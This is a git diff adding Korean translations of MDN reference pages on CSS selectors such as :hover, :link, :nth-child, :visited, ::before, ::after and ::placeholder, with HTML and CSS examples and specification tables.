{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}Allows :hover to be applied to any pseudo-element.CSS Working Group drafts GitHub issues
{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}  
{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}Initial definition. 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.hover")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_link/index.html b/files/ko/web/css/_colon_link/index.html new file mode 100644 index 0000000000..f17f896eab --- /dev/null +++ b/files/ko/web/css/_colon_link/index.html @@ -0,0 +1,105 @@ +--- +title: ':link' +slug: 'Web/CSS/:link' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:link' +--- +
{{ CSSRef }}
+ +

:link CSS 의사 클래스는 아직 방문하지 않은 요소를 나타냅니다. href 속성을 가진 {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}} 중 방문하지 않은 모든 요소를 선택합니다.

+ +
/* 아직 방문하지 않은 <a> 요소를 선택 */
+a:link {
+  color: red;
+}
+ +

:link 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":active")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :active 규칙을 다른 모든 링크 규칙들보다 앞에 배치하세요.

+ +
+

참고: 방문 여부에 상관하지 않고 요소를 선택하려면 {{cssxref(":any-link")}}를 사용하세요.

+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

대부분의 브라우저는 방문한 링크에 기본값으로 특별한 {{cssxref("color")}} 값을 지정합니다. 따라서 다음 예제의 링크를 방문한 적이 없을 때만 글자 색이 적용된 모습을 볼 수 있고, 방문한 적이 있으면 브라우저 기록을 지워서 확인할 수 있습니다. 그러나 방문한 링크의 배경색은 보통 브라우저가 지정하지 않으므로 {{cssxref("background-color")}}는 계속 확인할 수 있습니다.

+ +

HTML

+ +
<a href="#ordinary-target">평범한 링크입니다.</a><br>
+<a href="">이 링크는 이미 방문했습니다.</a><br>
+<a>플레이스홀더 링크 (스타일 적용 안됨)</a>
+
+ +

CSS

+ +
a:link {
+  background-color: gold;
+  color: green;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link') }}{{ Spec2('HTML WHATWG') }} 
{{ SpecName('CSS4 Selectors', '#link', ':link') }}{{ Spec2('CSS4 Selectors') }}No change.
{{ SpecName('CSS3 Selectors', '#link', ':link') }}{{ Spec2('CSS3 Selectors') }}No change.
{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link') }}{{ Spec2('CSS2.1') }}Lift the restriction to only apply it for {{ HTMLElement("a") }} element.
{{ SpecName('CSS1', '#anchor-pseudo-classes', ':link') }}{{ Spec2('CSS1') }}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.link")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_not/index.html b/files/ko/web/css/_colon_not/index.html new file mode 100644 index 0000000000..f471cce411 --- /dev/null +++ b/files/ko/web/css/_colon_not/index.html @@ -0,0 +1,71 @@ +--- +title: ':not()' +slug: 'Web/CSS/:not' +tags: + - CSS + - Layout + - Pseudo-class + - Reference +translation_of: 'Web/CSS/:not' +--- +
{{ CSSRef() }}
+ +

부정(negation) CSS 가상 클래스 :not(X)는 인수로 간단한 선택자(selector) X를 취하는 기능 표기법입니다. 인수로 표시되지 않은 요소와 일치합니다. X는 다른 부정 선택자를 포함해서는 안 됩니다.

+ +
주의: + + +
+ +

구문

+ +
:not(selector) { style properties }
+ +

예제

+ +
p:not(.classy) { color: red; }
+body :not(p) { color: green; }
+ +

위의 CSS 및 아래 HTML이 주어진다면...

+ +
<p>Some text.</p>
+<p class="classy">Some other text.</p>
+<span>One more text<span>
+
+ +

이 같은 출력을 얻습니다:

+ +

{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/:not') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS4 Selectors', '#negation', ':not()') }}{{ Spec2('CSS4 Selectors') }}인수로 일부 비 간단 선택자를 허용토록 확장.
{{ SpecName('CSS3 Selectors', '#negation', ':not()') }}{{ Spec2('CSS3 Selectors') }}초기 정의.
+ +

브라우저 호환성

+ +

{{Compat("css.selectors.not")}}

diff --git a/files/ko/web/css/_colon_nth-child/index.html b/files/ko/web/css/_colon_nth-child/index.html new file mode 100644 index 0000000000..2368a66641 --- /dev/null +++ b/files/ko/web/css/_colon_nth-child/index.html @@ -0,0 +1,196 @@ +--- +title: ':nth-child' +slug: 'Web/CSS/:nth-child' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:nth-child' +--- +
{{CSSRef}}
+ +

CSS :nth-child() 의사 클래스는 형제 사이에서의 순서에 따라 요소를 선택합니다.

+ +
/* 목록의 두 번째 <li> 선택 */
+li:nth-child(2) {
+  color: lime;
+}
+
+/* 임의의 그룹에서 네 번째에 위치하는 모든 요소 선택 */
+:nth-child(4n) {
+  color: lime;
+}
+
+ +

구문

+ +

nth-child 의사 클래스는 형제의 목록에서, 선택하려는 요소의 인덱스 패턴을 나타내는 하나의 매개변수를 사용해 지정합니다. 인덱스는 1부터 시작합니다.

+ +

키워드 값

+ +
+
odd
+
형제 요소에서 홀수번째(1, 3, 5, ...)인 요소를 나타냅니다.
+
even
+
형제 요소에서 짝수번째(2, 4, 6, ...)인 요소를 나타냅니다.
+
+ +

함수형 표기법

+ +
+
<An+B>
+
사용자 지정 패턴을 만족한 인덱스를 가지는 요소를 나타냅니다. An+B의 형태로 나타내며,
+     A는 정수 인덱스 증감량,
+     B는 정수 오프셋,
+     n은 0부터 시작하는 모든 양의 정수를 나타냅니다.
+
목록의 An+B번째 요소라고 해석할 수 있습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

선택자

+ +
+
tr:nth-child(odd) 또는 tr:nth-child(2n+1)
+
HTML 표의 홀수번째 행을 나타냅니다.
+
tr:nth-child(even) 또는 tr:nth-child(2n)
+
HTML 표의 짝수번째 행을 나타냅니다.
+
:nth-child(7)
+
임의의 7번째 요소를 나타냅니다.
+
:nth-child(5n)
+
5 [=5×1], 10 [=5×2], 15 [=5×3], ... 번째의 요소를 나타냅니다. 패턴 공식을 만족하는 첫 번째 값은 0 [=5x0]으로서 아무 요소도 선택하지 않는데, 요소의 인덱스는 1부터 시작하지만 n은 0부터 증가하기 때문입니다. 다소 의아할 수 있으나, 바로 아래 예제처럼 공식의 B 부분이 >0인 경우 보다 납득하기 쉬워집니다.
+
:nth-child(n+7)
+
7번째와 그 이후의 모든 요소, 즉 7 [=0+7], 8 [=1+7], 9 [=2+7], ... 를 나타냅니다.
+
:nth-child(3n+4)
+
4 [=(3×0)+4], 7 [=(3×1)+4], 10 [=(3×2)+4], 13 [=(3×3)+4], ... 번째의 요소를 나타냅니다.
+
:nth-child(-n+3)
+
앞에서 세 개의 요소를 나타냅니다. [=-0+3, -1+3, -2+3]
+
p:nth-child(n)
+
형제 그룹 내의 모든 <p> 요소를 나타냅니다. 단순한 p 선택자와 동일하지만 더 높은 명시도를 가집니다.
+
p:nth-child(1) 또는 p:nth-child(0n+1)
+
형제 그룹 내의 모든 첫 번째 <p> 요소를 나타냅니다. {{cssxref(":first-child")}} 선택자와 동일하며 같은 명시도를 가집니다.
+
p:nth-child(n+8):nth-child(-n+15)
+
형제 그룹 내에서 8번째부터 15번째 까지의 <p> 요소를 나타냅니다.
+
+ +

자세한 예제

+ +

HTML

+ +
<h3><code>span:nth-child(2n+1)</code>, WITHOUT an
+   <code>&lt;em&gt;</code> among the child elements.</h3>
+<p>Children 1, 3, 5, and 7 are selected.</p>
+<div class="first">
+  <span>Span 1!</span>
+  <span>Span 2</span>
+  <span>Span 3!</span>
+  <span>Span 4</span>
+  <span>Span 5!</span>
+  <span>Span 6</span>
+  <span>Span 7!</span>
+</div>
+
+<br>
+
+<h3><code>span:nth-child(2n+1)</code>, WITH an
+   <code>&lt;em&gt;</code> among the child elements.</h3>
+<p>Children 1, 5, and 7 are selected.<br>
+   3 is used in the counting because it is a child, but it isn't
+   selected because it isn't a <code>&lt;span&gt;</code>.</p>
+<div class="second">
+  <span>Span!</span>
+  <span>Span</span>
+  <em>This is an `em`.</em>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+</div>
+
+<br>
+
+<h3><code>span:nth-of-type(2n+1)</code>, WITH an
+   <code>&lt;em&gt;</code> among the child elements.</h3>
+<p>Children 1, 4, 6, and 8 are selected.<br>
+   3 isn't used in the counting or selected because it is an <code>&lt;em&gt;</code>,
+   not a <code>&lt;span&gt;</code>, and <code>nth-of-type</code> only selects
+   children of that type. The <code>&lt;em&gt;</code> is completely skipped
+   over and ignored.</p>
+<div class="third">
+  <span>Span!</span>
+  <span>Span</span>
+  <em>This is an `em`.</em>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+  <span>Span</span>
+  <span>Span!</span>
+</div>
+ +

CSS

+ +
html {
+  font-family: sans-serif;
+}
+
+span,
+div em {
+  padding: 5px;
+  border: 1px solid green;
+  display: inline-block;
+  margin-bottom: 3px;
+}
+
+.first span:nth-child(2n+1),
+.second span:nth-child(2n+1),
+.third span:nth-of-type(2n+1) {
+  background-color: lime;
+}
+ +

결과

+ +
{{EmbedLiveSample('자세한_예제', 550, 550)}}
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}{{Spec2('CSS4 Selectors')}}Adds of <selector> syntax and specifies that matching elements are not required to have a parent.
{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}{{Spec2('CSS3 Selectors')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.nth-child")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_root/index.html b/files/ko/web/css/_colon_root/index.html new file mode 100644 index 0000000000..5fb9ed0fd6 --- /dev/null +++ b/files/ko/web/css/_colon_root/index.html @@ -0,0 +1,78 @@ +--- +title: ':root' +slug: 'Web/CSS/:root' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Selector + - Web +translation_of: 'Web/CSS/:root' +--- +
{{CSSRef}}
+ +

CSS :root 의사 클래스는 문서 트리의 루트 요소를 선택합니다 HTML의 루트 요소는 {{htmlelement("html")}} 요소이므로, :root명시도가 더 낮다는 점을 제외하면 html 선택자와 똑같습니다.

+ +
/* 문서의 루트 요소 선택
+   HTML에서는 <html> */
+:root {
+  background: yellow;
+}
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

전역 CSS 변수 선언하기

+ +

:root는 전역 CSS 변수 선언에 유용하게 사용할 수 있습니다.

+ +
:root {
+  --main-color: hotpink;
+  --pane-padding: 5px 42px;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}{{Spec2('CSS4 Selectors')}}No change.
{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}{{Spec2('CSS3 Selectors')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.root")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_colon_visited/index.html b/files/ko/web/css/_colon_visited/index.html new file mode 100644 index 0000000000..1c1f962b37 --- /dev/null +++ b/files/ko/web/css/_colon_visited/index.html @@ -0,0 +1,121 @@ +--- +title: ':visited' +slug: 'Web/CSS/:visited' +tags: + - CSS + - Layout + - Pseudo-class + - Reference + - Web +translation_of: 'Web/CSS/:visited' +--- +
{{ CSSRef }}
+ +

:visited CSS 의사 클래스는 사용자가 방문한 적이 있는 링크를 나타냅니다. :visited가 바꿀 수 있는 스타일은 개인정보 보호를 위해 매우 제한적입니다.

+ +
/* 방문한 적이 있는 <a> 선택 */
+a:visited {
+  color: green;
+}
+
+ +

:visited 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":active")}})가 덮어씁니다. 링크를 적절히 디자인하려면 LVHA-순서(:link:visited:hover:active)를 따라, :visited 규칙을 :link 뒤, :hover:active 앞에 배치하세요.

+ +

스타일 제한

+ +

브라우저는 개인정보 보호를 위해 :visited에서 사용할 수 있는 스타일을 엄격히 제한하고 있습니다.

+ + + +
+

참고: 스타일 제한에 관한 더 많은 정보와 이유에 대해서는 개인정보와 :visited 선택자 문서를 참고하세요.

+
+ +

구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본적으로 색이 없거나 투명한 속성은 :visited로 수정할 수 없습니다. :visited가 수정 가능한 속성 중 브라우저가 기본값을 지정하는건 보통 colorcolumn-rule-color 뿐입니다. 따라서 다른 속성을 수정하고 싶다면 기본값을 직접 지정해야 합니다.

+ +

HTML

+ +
<a href="#test-visited-link">링크를 아직 방문하지 않으셨나요?</a><br>
+<a href="">이미 방문했습니다.</a>
+ +

CSS

+ +
a {
+  /* 특정 속성에 투명하지 않은 기본값을 지정해
+     :visited 상태로 바꿀 수 있도록 설정 */
+  background-color: white;
+  border: 1px solid white;
+}
+
+a:visited {
+  background-color: yellow;
+  border-color: hotpink;
+  color: hotpink;
+}
+ +

결과

+ +

{{EmbedLiveSample("예제")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML WHATWG', 'scripting.html#selector-visited', ':visited') }}{{ Spec2('HTML WHATWG') }} 
{{ SpecName('CSS4 Selectors', '#link', ':visited') }}{{ Spec2('CSS4 Selectors') }}No change.
{{ SpecName('CSS3 Selectors', '#link', ':visited') }}{{ Spec2('CSS3 Selectors') }}No change.
{{ SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':visited') }}{{ Spec2('CSS2.1') }}Lifts the restriction to only apply :visited to the {{ HTMLElement("a") }} element. Lets browsers restrict its behavior for privacy reasons.
{{ SpecName('CSS1', '#anchor-pseudo-classes', ':visited') }}{{ Spec2('CSS1') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.visited")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_doublecolon_after/index.html b/files/ko/web/css/_doublecolon_after/index.html new file mode 100644 index 0000000000..30f44876f7 --- /dev/null +++ b/files/ko/web/css/_doublecolon_after/index.html @@ -0,0 +1,179 @@ +--- +title: '::after (:after)' +slug: 'Web/CSS/::after' +tags: + - CSS + - Layout + - Pseudo-element + - Reference + - Web +translation_of: 'Web/CSS/::after' +--- +
{{CSSRef}}
+ +

CSS에서, ::after는 선택한 요소의 맨 마지막 자식으로 의사 요소를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다. 기본값은 인라인입니다.

+ +
/* 링크 뒤에 화살표 추가 */
+a::after {
+  content: "";
+}
+ +
+

참고: ::before::after로 생성한 의사 요소는 원본 요소의 서식 박스에 포함되므로, {{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 대체 요소에 적용할 수 없습니다.

+
+ +

구문

+ +
{{csssyntax}}
+ +
+

참고: 의사 클래스의사 요소를 구분하기 위해 CSS3부터::after 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 :after도 허용합니다.

+
+ +

예제

+ +

간단한 사용법

+ +

평범한 문단과 흥미진진한 문단을 위해 클래스 두 개를 만들고, 문단 마지막에 의사 요소를 추가해보겠습니다.

+ +

HTML

+ +
<p class="boring-text">적당히 평범하고 심심한 글입니다.</p>
+<p>지루하지도 흥미진진하지도 않은 글입니다.</p>
+<p class="exciting-text">MDN 기여는 쉽고 재밌습니다.</p>
+ +

CSS

+ +
.exciting-text::after {
+  content: " <- 흥미진진!";
+  color: green;
+}
+
+.boring-text::after {
+  content: " <- 먼지풀풀";
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('간단한_사용법', 500, 150)}}

+ +

장식 예제

+ +

{{cssxref("content")}} 속성을 활용해 자유롭게 텍스트나 이미지를 추가할 수 있습니다.

+ +

HTML

+ +
<span class="ribbon">마지막의 주황색 상자를 바라보세요.</span>
+ +

CSS

+ +
.ribbon {
+ background-color: #5BC8F7;
+}
+
+.ribbon::after {
+ content: "멋진 주황색 상자입니다.";
+ background-color: #FFBA10;
+ border-color: black;
+ border-style: dotted;
+}
+ +

결과

+ +

{{ EmbedLiveSample('장식_예제', 550, 40) }}

+ +

툴팁

+ +

다음 예제는 ::after와 함께 CSS {{cssxref("attr", "attr()")}} 표현식, data-descr 사용자 설정 데이터 속성을 사용해 툴팁을 구현합니다. JavaScript 없이요!

+ +

tabindex="0"을 추가해 각 span에 포커스가 갈 수 있도록 지정한 후, CSS :focus 선택자를 추가하여 키보드 사용자도 지원할 수 있습니다. 예제를 통해 ::before와 ::after가 얼마나 유연한지 확인할 수 있지만, 가장 접근성이 뛰어난 구현을 위해서라면 요약과 세부 요소처럼 의미를 담은 요소를 활용하는 편이 좋습니다.

+ +

HTML

+ +
<p>이 예제는
+  <span tabindex="0" data-descr="단어와 문장 부호의 집합">텍스트</span>와 함께 약간의
+  <span tabindex="0" data-descr="호버 시 보여지는 작은 팝업">툴팁</span>을 포함합니다.
+</p>
+
+ +

CSS

+ +
span[data-descr] {
+  position: relative;
+  text-decoration: underline;
+  color: #00F;
+  cursor: help;
+}
+
+span[data-descr]:hover::after,
+span[data-descr]:focus::after {
+  content: attr(data-descr);
+  position: absolute;
+  left: 0;
+  top: 24px;
+  min-width: 200px;
+  border: 1px #aaaaaa solid;
+  border-radius: 10px;
+  background-color: #ffffcc;
+  padding: 12px;
+  color: #000000;
+  font-size: 14px;
+  z-index: 1;
+}
+ +

결과

+ +

{{EmbedLiveSample('툴팁', 450, 120)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}{{ Spec2('CSS4 Pseudo-Elements')}}No significant changes to the previous specification.
{{ Specname("CSS3 Transitions", "#animatable-properties", "") }}{{ Spec2("CSS3 Transitions")}}Allows transitions on properties defined on pseudo-elements.
{{ Specname("CSS3 Animations", "", "") }}{{ Spec2("CSS3 Animations")}}Allows animations on properties defined on pseudo-elements.
{{ SpecName('CSS3 Selectors', '#gen-content', '::after') }}{{ Spec2('CSS3 Selectors') }}Introduces the two-colon syntax.
{{ SpecName('CSS2.1', 'generate.html#before-after-content', '::after') }}{{ Spec2('CSS2.1') }}Initial definition, using the one-colon syntax
+ +

브라우저 호환성

+ + + +

{{Compat("css.selectors.after")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/_doublecolon_before/index.html b/files/ko/web/css/_doublecolon_before/index.html new file mode 100644 index 0000000000..211107af88 --- /dev/null +++ b/files/ko/web/css/_doublecolon_before/index.html @@ -0,0 +1,237 @@ +--- +title: '::before (:before)' +slug: 'Web/CSS/::before' +tags: + - CSS + - Layout + - Pseudo-element + - Reference + - Web +translation_of: 'Web/CSS/::before' +--- +
{{CSSRef}}
+ +

CSS에서, ::before는 선택한 요소의 첫 자식으로 의사 요소를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다. 기본값은 인라인입니다.

+ +
/* 링크 앞에 하트 추가 */
+a::after {
+  content: "";
+}
+ +
+

참고: ::before::after로 생성한 의사 요소는 원본 요소의 서식 박스에 포함되므로, {{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 대체 요소에 적용할 수 없습니다.

+
+ +

구문

+ +
{{csssyntax}}
+ +
+

참고: 의사 클래스의사 요소를 구분하기 위해 CSS3부터::before 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 :before도 허용합니다.

+
+ +

예제

+ +

인용 표시 추가

+ +

One simple example of using ::before pseudo-elements is to provide quotation marks. Here we use both ::before and {{Cssxref("::after")}} to insert quotation characters.

+ +

HTML

+ +
<q>Some quotes,</q> he said, <q>are better than none.</q>
+ +

CSS

+ +
q::before {
+  content: "«";
+  color: blue;
+}
+
+q::after {
+  content: "»";
+  color: red;
+}
+ +

Result

+ +

{{EmbedLiveSample('인용_표시_추가', '500', '50', '')}}

+ +

장식 예제

+ +

We can style text or images in the {{cssxref("content")}} property almost any way we want.

+ +

HTML

+ +
<span class="ribbon">Notice where the orange box is.</span>
+ +

CSS

+ +
.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::before {
+  content: "Look at this orange box.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}
+ +

Result

+ +

{{EmbedLiveSample('장식_예제', 450, 60)}}

+ +

할 일 목록

+ +

In this example we will create a simple to-do list using pseudo-elements. This method can often be used to add small touches to the UI and improve user experience.

+ +

HTML

+ +
<ul>
+  <li>Buy milk</li>
+  <li>Take the dog for a walk</li>
+  <li>Exercise</li>
+  <li>Write code</li>
+  <li>Play music</li>
+  <li>Relax</li>
+</ul>
+
+ +

CSS

+ +
li {
+  list-style-type: none;
+  position: relative;
+  margin: 2px;
+  padding: 0.5em 0.5em 0.5em 2em;
+  background: lightgrey;
+  font-family: sans-serif;
+}
+
+li.done {
+  background: #CCFF99;
+}
+
+li.done::before {
+  content: '';
+  position: absolute;
+  border-color: #009933;
+  border-style: solid;
+  border-width: 0 0.3em 0.25em 0;
+  height: 1em;
+  top: 1.3em;
+  left: 0.6em;
+  margin-top: -1em;
+  transform: rotate(45deg);
+  width: 0.5em;
+}
+ +

JavaScript

+ +
var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+  if (ev.target.tagName === 'LI') {
+     ev.target.classList.toggle('done');
+  }
+}, false);
+
+ +

Here is the above code example running live. Note that there are no icons used, and the check-mark is actually the ::before that has been styled in CSS. Go ahead and get some stuff done.

+ +

Result

+ +

{{EmbedLiveSample('할_일_목록', 400, 300)}}

+ +

특수문자

+ +

As this is CSS; not HTML, you can not use markup entities in content values. If you need to use a special character, and can not enter it literally into your CSS content string, use a unicodeescape sequence, consistingof a backslash followed by the hexadecimal unicode value.

+ +

HTML

+ +
<ol>
+  <li>Crack Eggs into bowl</li>
+  <li>Add Milk</li>
+  <li>Add Flour</li>
+  <li aria-current='step'>Mix thoroughly into a smooth batter</li>
+  <li>Pour a ladleful of batter onto a hot, greased, flat frying pan</li>
+  <li>Fry until the top of the pancake loses its gloss</li>
+  <li>Flip it over and fry for a couple more minutes</li>
+  <li>serve with your favorite topping</li>
+</ol>
+
+ +

CSS

+ +

+li {
+  padding:0.5em;
+}
+
+li[aria-current='step'] {
+  font-weight:bold;
+}
+
+li[aria-current='step']::after {
+  content: " \21E6"; /* Hexadecimal for Unicode Leftwards white arrow*/
+  display: inline;
+}
+
+
+ +

Result

+ +

{{EmbedLiveSample('특수문자', 400, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}{{Spec2('CSS4 Pseudo-Elements')}}No significant changes to the previous specification.
{{Specname("CSS3 Transitions", "#animatable-properties", "")}}{{Spec2("CSS3 Transitions")}}Allows transitions on properties defined on pseudo-elements.
{{Specname("CSS3 Animations", "", "")}}{{Spec2("CSS3 Animations")}}Allows animations on properties defined on pseudo-elements.
{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}{{Spec2('CSS3 Selectors')}}Introduces the two-colon syntax.
{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}{{Spec2('CSS2.1')}}Initial definition, using the one-colon syntax
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.selectors.before")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/_doublecolon_placeholder/index.html b/files/ko/web/css/_doublecolon_placeholder/index.html new file mode 100644 index 0000000000..0a6c4a093f --- /dev/null +++ b/files/ko/web/css/_doublecolon_placeholder/index.html @@ -0,0 +1,147 @@ +--- +title: '::placeholder' +slug: 'Web/CSS/::placeholder' +translation_of: 'Web/CSS/::placeholder' +--- +
{{CSSRef}}
+ +

The ::placeholder CSS pseudo-element represents the placeholder text in an {{HTMLElement("input")}} or {{HTMLElement("textarea")}} element.

+ +
::placeholder {
+  color: blue;
+  font-size: 1.5em;
+}
+ +

Only the subset of CSS properties that apply to the {{cssxref("::first-line")}} pseudo-element can be used in a rule using ::placeholder in its selector.

+ +
+

Note: In most browsers, the appearance of placeholder text is a translucent or light gray color by default.

+
+ +

Syntax

+ +
{{csssyntax}}
+ +

Accessibility concerns

+ +

Color contrast

+ +

Contrast Ratio

+ +

Placeholder text typically has a lighter color treatment to indicate that it is a suggestion for what kind of input will be valid, and is not actual input of any kind.

+ +

It is important to ensure that the contrast ratio between the color of the placeholder text and the background of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.

+ +

Color contrast ratio is determined by comparing the luminosity of the placeholder text and the input background color values. In order to meet current Web Content Accessibility Guidelines (WCAG), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.

+ + + +

Usability

+ +

Placeholder text with sufficient color contrast may be interpreted as entered input. Placeholder text will also disappear when a person enters content into an {{htmlelement("input")}} element. Both of these circumstances can interfere with successful form completion, especially for people with cognitive concerns.

+ +

An alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use aria-describedby to programmatically associate the {{HTMLElement("input")}} with its hint.

+ +

With this implementation, the hint content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded. Most screen reading technology will use aria-describedby to read the hint after the input's label text is announced, and the person using the screen reader can mute it if they find the extra information unnecessary.

+ +
<label for="user-email">Your email address</label>
+<span id="user-email-hint" class="input-hint">Example: jane@sample.com</span>
+<input id="user-email" aria-describedby="user-email-hint" name="email" type="email">
+
+ + + +

Windows High Contrast Mode

+ +

Placeholder text will appear with the same styling as user-entered text content when rendered in Windows High Contrast Mode. This will make it difficult for some people to determine which content has been entered, and which content is placeholder text.

+ + + +

Labels

+ +

Placeholders are not a replacement for the {{htmlelement("label")}} element. Without a label that has been programmatically associated with an input using a combination of the {{htmlattrxref("for", "label")}} and {{htmlattrxref("id")}} attributes, assistive technology such as screen readers cannot parse {{htmlelement("input")}} elements.

+ + + +

Examples

+ +

Red text

+ +

HTML

+ +
<input placeholder="Type something here!">
+ +

CSS

+ +
input::placeholder {
+  color: red;
+  font-size: 1.2em;
+  font-style: italic;
+}
+ +

Result

+ +

{{EmbedLiveSample("Red_text", 200, 60)}}

+ +

Green text

+ +

HTML

+ +
<input placeholder="Type something here...">
+ +

CSS

+ +
input::placeholder {
+  color: green;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Green_text", 200, 60)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}{{Spec2('CSS4 Pseudo-Elements')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("css.selectors.placeholder")}}

+
+ +

See also

+ + diff --git a/files/ko/web/css/actual_value/index.html b/files/ko/web/css/actual_value/index.html new file mode 100644 index 0000000000..9b9bf9ce2f --- /dev/null +++ b/files/ko/web/css/actual_value/index.html @@ -0,0 +1,47 @@ +--- +title: 실제값 +slug: Web/CSS/actual_value +tags: + - CSS + - Reference +translation_of: Web/CSS/actual_value +--- +
{{CSSRef}}
+ +

CSS 속성의 실제값은 모든 근사치(approximation)가 적용된 뒤의 사용값입니다. 예를 들어, 사용자 에이전트는 오직 정수 픽셀값으로 테두리(border)를 렌더링할 수도 있고 테두리의 계산된 폭(width)에 근접하도록 강제할 지도 모릅니다.

+ +

Calculating a property's actual value

+ +

The {{glossary("user agent")}} performs four steps to calculate a property's actual (final) value:

+ +
    +
  1. First, the specified value is determined based on the result of cascadinginheritance, or using the initial value.
  2. +
  3. Next, the computed value is calculated according to the specification (for example, a span with position: absolute will have its computed display changed to block).
  4. +
  5. Then, layout is calculated, resulting in the used value.
  6. +
  7. Finally, the used value is transformed according to the limitations of the local environment, resulting in the actual value.
  8. +
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}{{Spec2('CSS2.1')}}초기 정의.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/align-content/index.html b/files/ko/web/css/align-content/index.html new file mode 100644 index 0000000000..43c4ece03e --- /dev/null +++ b/files/ko/web/css/align-content/index.html @@ -0,0 +1,297 @@ +--- +title: align-content +slug: Web/CSS/align-content +tags: + - CSS + - CSS Box Alignment + - CSS Property + - Reference +translation_of: Web/CSS/align-content +--- +

CSS align-content 속성은 콘텐츠 사이와 콘텐츠 주위 빈 공간을 플렉스박스의 교차축, 그리드의 블록 축을 따라 배치하는 방식을 결정합니다.

+ +

아래의 대화형 예제는 그리드 레이아웃을 사용해 이 속성의 값을 시연합니다.

+ +
{{EmbedInteractiveExample("pages/css/align-content.html")}}
+ + + +

